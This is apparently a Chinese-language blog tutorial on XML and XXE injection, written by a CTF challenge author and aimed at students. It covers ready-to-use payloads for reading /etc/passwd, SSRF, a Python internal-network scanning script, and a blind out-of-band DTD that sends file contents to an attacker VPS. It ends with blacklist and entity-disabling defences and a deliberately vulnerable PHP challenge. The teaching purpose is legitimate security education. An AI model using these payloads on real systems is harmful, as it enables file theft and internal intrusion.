0%

xml|xxe注入

前言:

之前学过的知识了,最近碰到挺多的,给24级新生出题的时候也出了一题,感觉还是比较重要的,所以蹭着有时间整理一下知识点。

一、xml

简介

XML是一种用于存储和传输数据的语言。与HTML一样,XML使用树状的标签和数据结构。与HTML不同的是XML不使用预定义标签而是使用自定义的标签,因此可以为标签指定描述数据的名称。

XML实体

XML实体是一种表示XML文档中的数据项的方式,而不是使用数据本身。XML语言规范中内置了各种实体。

XML的五种标准实体:

  • '是一个撇号:'
  • &是一个与字符:&
  • "是一个引号:"
  • &lt;是一个小于号:<
  • &gt;是一个大于号:>

当这五个元字符出现在数据中时,通常必须使用它们的实体来表示。

文件类型定义 (DTD)

DTD用于定义 XML 文档的结构以及合法元素和属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--定义文档的根元素是test-->
<!DOCTYPE test
[
<!--定义test元素必须包含以下元素:“name、age、direction”-->
<!ELEMENT test (name,age,direction)>
<!--将name元素定义为“#PCDATA”类型-->
<!--#PCDATA表示可解析字符数据-->
<!ELEMENT name (#PCDATA)>
<!--将age元素定义为“#PCDATA”类型-->
<!ELEMENT age (#PCDATA)>
<!--将direction元素定义为“#PCDATA”类型-->
<!ELEMENT direction (#PCDATA)>
]>

DTD可以在XML文档内部声明,也可以外部引用。

1
2
3
4
5
6
<!--内部声明DTD-->
<!DOCTYPE 根元素 [元素声明]>
<!--外部引用DTD-->
<!DOCTYPE 根元素 SYSTEM "文件名">
<!--外部引用公共DTD-->
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

XML自定义实体

XML 允许在 DTD 中定义自定义实体。(注意:自定义的实体名称中不能包含数字)

1
2
3
4
<!DOCTYPE test 
[
<!ENTITY tglu "TG1u" >
]>

实体的使用

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY tglu "TG1u">
]>
<test>
<message>&tglu;</message>
</test>

打开xml文件,可以发现&tglu;已经被替换为TG1u了

同样的,实体可以在XML文档内部声明,也可以外部引用。

1
2
3
4
5
6
7
<!--内部声明实体-->
<!ENTITY 实体名称 "value">
<!--引用外部实体-->
<!--SYSTEM表示这是一个外部实体,其内容由URI指定-->
<!ENTITY 实体名称 SYSTEM "URI">
<!--引用外部公共实体-->
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

XML文档结构

XML文档结构包括XML声明、DTD文档类型定义、文档元素。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!--XML声明-->
<?xml version="1.0" ?>
<!--DTD-->
<!DOCTYPE test [
<!ELEMENT test (name,age,direction)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT direction (#PCDATA)>
]>
<!--文档元素-->
<test>
<name>TG1u</name>
<age>20</age>
<direction>web</direction>
</test>

XML转换为HTML

讲到了xml就碎嘴提一下xml如何转换成html展示在页面上。以上面的xml为例子有以下几种方法

使用JavaScript动态加载并解析XML文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>XML</title>
<style>
.xml-data {
font-family: Arial, sans-serif;
margin: 20px;
}
.xml-data div {
margin: 5px 0;
}
</style>
</head>
<body>
<div class="xml-data" id="xml-container"></div>

<script>
// 模拟XML数据(也可以从外部文件加载)
const xmlString = `<?xml version="1.0" ?>
<!DOCTYPE test [
<!ELEMENT test (name,age,direction)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT direction (#PCDATA)>
]>
<test>
<name>TG1u</name>
<age>20</age>
<direction>web</direction>
</test>`;

// 解析XML字符串
const parser = new DOMParser();
const xmlDoc = parser.parseFromString(xmlString, "application/xml");

// 获取XML数据
const name = xmlDoc.querySelector("name").textContent;
const age = xmlDoc.querySelector("age").textContent;
const direction = xmlDoc.querySelector("direction").textContent;

// 动态生成HTML内容
const container = document.getElementById("xml-container");
container.innerHTML = `
<h1>${name}</h1>
<h1>${age}</h1>
<h1>${direction}</h1>
`;
</script>
</body>
</html>

使用XSLT转换XML

XSLT 是一种专门用于转换 XML 的语言,可以将 XML 直接转换为 HTML 并在浏览器中展示。

1
2
3
|----test
|----1.xsl
|----1.xml

创建 XSL 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<head>
<title>XML</title>
</head>
<body>
<h1><xsl:value-of select="test/name"/></h1>
<h1><xsl:value-of select="test/age"/></h1>
<h1><xsl:value-of select="test/direction"/></h1>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

在 XML 中引用 XSL

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?>
<!DOCTYPE test [
<!ELEMENT test (name,age,direction)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT direction (#PCDATA)>
]>
<test>
<name>TG1u</name>
<age>20</age>
<direction>web</direction>
</test>

在本地当前目录启动web服务,访问1.xml(用file://的话无法加载xsl)

1
python -m http.server 2201

二、xxe注入(XML外部实体注入)

简介

XXE(XML 外部实体注入)是一种针对 XML 解析器的安全漏洞。它允许攻击者通过恶意构造的 XML 文档加载外部资源或访问系统文件,从而导致敏感信息泄露、拒绝服务攻击或其他安全问题。

XXE攻击类型

XXE文件读取

原理:通过利用本地引用外部实体

file协议读取文件

payload:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY tglu SYSTEM "file:///etc/passwd">]>
<test>&tglu;</test>

PHP伪协议读取文件

payload:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY tglu SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<test>&tglu;</test>

XXE执行SSRF攻击

原理:通过利用远程引用外部实体

读取内网中的文件

payload:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY tglu SYSTEM "http://x.x.x.x:2201/flag">]>
<test>&tglu;</test>

HTTP内网主机探测

先利用file协议读取作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(以linux 为例),可以尝试读取 /etc/network/interfaces或者 /proc/net/arp或者/etc/host文件。

然后直接打exp(网上找到大佬写的一个exp)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import base64

def build_xml(string):
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "\r\n" + """<!DOCTYPE test [ <!ELEMENT test ANY >"""
xml = xml + "\r\n" + """<!ENTITY tglu SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "\r\n" + """<xml>"""
xml = xml + "\r\n" + """ <stuff>&tglu;</stuff>"""
xml = xml + "\r\n" + """</xml>"""
send_xml(xml)

def send_xml(xml):
headers = {'Content-Type': 'application/xml'}
x = requests.post('http://34.200.157.128/xxe.php', data=xml, headers=headers, timeout=5).text # 存在xxe注入的位置
coded_string = x.split(' ')[-2] # 分割一下,只获取base64编码的值
print coded_string
# print base64.b64decode(coded_string)
for i in range(1, 255):
try:
i = str(i)
ip = '10.0.0.' + i # 内网网段
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
print string
build_xml(string)
except:
continue

HTTP内网主机端口扫描

payload:

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://x.x.x.x:515/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

然后用bp抓包,爆破端口。通过响应的时间的长短判断该该端口是否开放的。

Blind XXE

正常情况下,可以直接在页面上看到payload执行后的回显。但是有些时候会出现无回显的情况,这时候可以使用外带数据通道提取数据,先使用php://filter或者file://获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器。

payload:

1
2
3
4
5
<!DOCTYPE root [ 
<!ENTITY % remote SYSTEM "http://<VPS_IP>:2201/shell.dtd">
%remote;
]>
<!--%remote调用vps上的shell.dtd-->

在自己的vps上创建一个shell.dtd,并且开放2201端口

1
2
3
4
5
6
7
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:2201/?flag=%file;'>">
%int;
%send;
<!--实体的值中不能有%, 所以将其转成html实体编码&#37;-->
<!--%int调用shell.dtd中的%file, %file就会去获取服务器上面的敏感文件-->
<!--%send将%file获取到的结果过发送回vps-->

XInclude XXE

一些应用程序接收客户端提交的数据,在服务器端将其嵌入到 XML 文档中,然后解析该文档。此时无法控制整个XML文档,因此无法定义或修改DOCTYPE元素。这时候就需要使用XInclude XXE来代替

payload:

1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

文件上传 XXE

一些应用程序允许用户上传文件,然后在服务器端进行处理。办公文档格式(如DOCX)和图像格式(如 SVG)。

SVG图像

使用以下内容创建本地SVG图像1.svg

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY tglu SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&tglu;</text>
</svg>

上传图片后,查看文件路径,即可在图像中看到文件的内容。

办公文档

办公文档excel、docx等其实实质上是一个zip文件,这里以excel文档为例。

先创建一个excel文件,将其后缀改为zip然后解压

在文件中的[Content-Types].xml中写入测试payload:

1
2
3
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY tglu SYSTEM "http://<VPS_IP>:2201/" >]>
<test>&tglu;</test>

在自己vps开启监听端口2201,然后上传excel文件,如果接收到请求了说明存在漏洞。

接着在[Content-Types].xml写入Blind XXE的payload再次上传,就可以在vps上看到执行的payload了。

修改内容类型 XXE

大多数POST请求使用由HTML表单生成的默认内容类型application/x-www-form-urlencoded,但是有些时候网站还能接受其他内容类型,如XML。这时候我们就可以通过修改内容类型进行XXE攻击。

假设一个网站的请求为application/x-www-form-urlencoded

1
2
3
4
5
POST / HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

test=tg1u

此时我们修改内容类型为text/xml

1
2
3
4
5
POST / HTTP/1.0
Content-Type: text/xml
Content-Length: 53

<?xml version="1.0" encoding="UTF-8"?><test>tg1u</test>

如果两种请求的结果一样,那么就说明存在XXE,那么就根据情况选择上面的payload就行。

XXE攻击的一些绕过

过滤SYSTEM,PUBLIC等关键字

用双重实体编码绕过

payload:

1
2
3
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#116;&#103;&#108;&#117;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#101;&#116;&#99;&#47;&#112;&#97;&#115;&#115;&#119;&#100;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#116;&#101;&#115;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#116;&#103;&#108;&#117;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#116;&#101;&#115;&#116;&#62;">
%xml;

XXE的防御

过滤用户提交的XML数据

php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function blask_Xml($xmlContent) {
// 定义黑名单关键字
$blacklist = [
'/<!DOCTYPE/i', // 匹配<!DOCTYPE(不区分大小写)
'/<!ENTITY/i', // 匹配<!ENTITY(不区分大小写)
'/SYSTEM/i', // 匹配SYSTEM(不区分大小写)
'/PUBLIC/i', // 匹配PUBLIC(不区分大小写)
];

// 遍历黑名单,检查是否包含危险内容
foreach ($blacklist as $pattern) {
if (preg_match($pattern, $xmlContent)) {
return false; // 包含危险关键字,返回不安全
}
}

return true; // 不包含危险关键字,返回安全
}

python:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def black_xml(xml_content):
# 定义黑名单关键字
blacklist = [
r"<!DOCTYPE", # 禁止DOCTYPE声明
r"<!ENTITY", # 禁止ENTITY声明
r"SYSTEM", # 禁止SYSTEM关键字
r"PUBLIC", # 禁止PUBLIC关键字
]

# 检查是否包含黑名单中的关键字
for pattern in blacklist:
if re.search(pattern, xml_content, re.IGNORECASE):
return False # 包含危险关键字,返回不安全

return True

禁用外部实体

PHP:

1
libxml_disable_entity_loader(true);

JAVA:

1
2
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:

1
2
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

三、例题

2025云曦三月考 Secret Platform

这道题是我出个新生的一道题,xxe主要是用来获取源码。这里就只打xxe的部分

先看一下源码(考核时没放源码,我这里放出来分析)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
libxml_disable_entity_loader(false);
$xmlfile = trim(file_get_contents('php://input'));

try {
$dom = new DOMDocument();
if (!$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD)) {
foreach (libxml_get_errors() as $error) {
echo "XML Error: " . $error->message;
}
libxml_clear_errors();
exit("Failed to parse XML.");
}

$info = simplexml_import_dom($dom);
if ($info === false) {
exit("Failed to convert DOM to SimpleXML.");
}

$name = (string)$info->name;
$password = (string)$info->password;

if (empty($name)) {
exit("Name is missing in the XML data.");
}

echo "Sorry, this $name is not available!";
} catch (Exception $e) {
echo "Error: " . $e->getMessage();
}
?>

可以看到源码启用外部实体加载libxml_disable_entity_loader(false);,允许解析 XML 时引用外部文件或 URL,这是 XXE 攻击的关键入口。

那么就直接抓包用bp插件active scan++扫描

用dirsearch扫描可以发现有个admin.php

直接用他的payload读取文件,然后读取源码的时候改为php伪协议就行

后面的文件上传啥的就不在这演示了。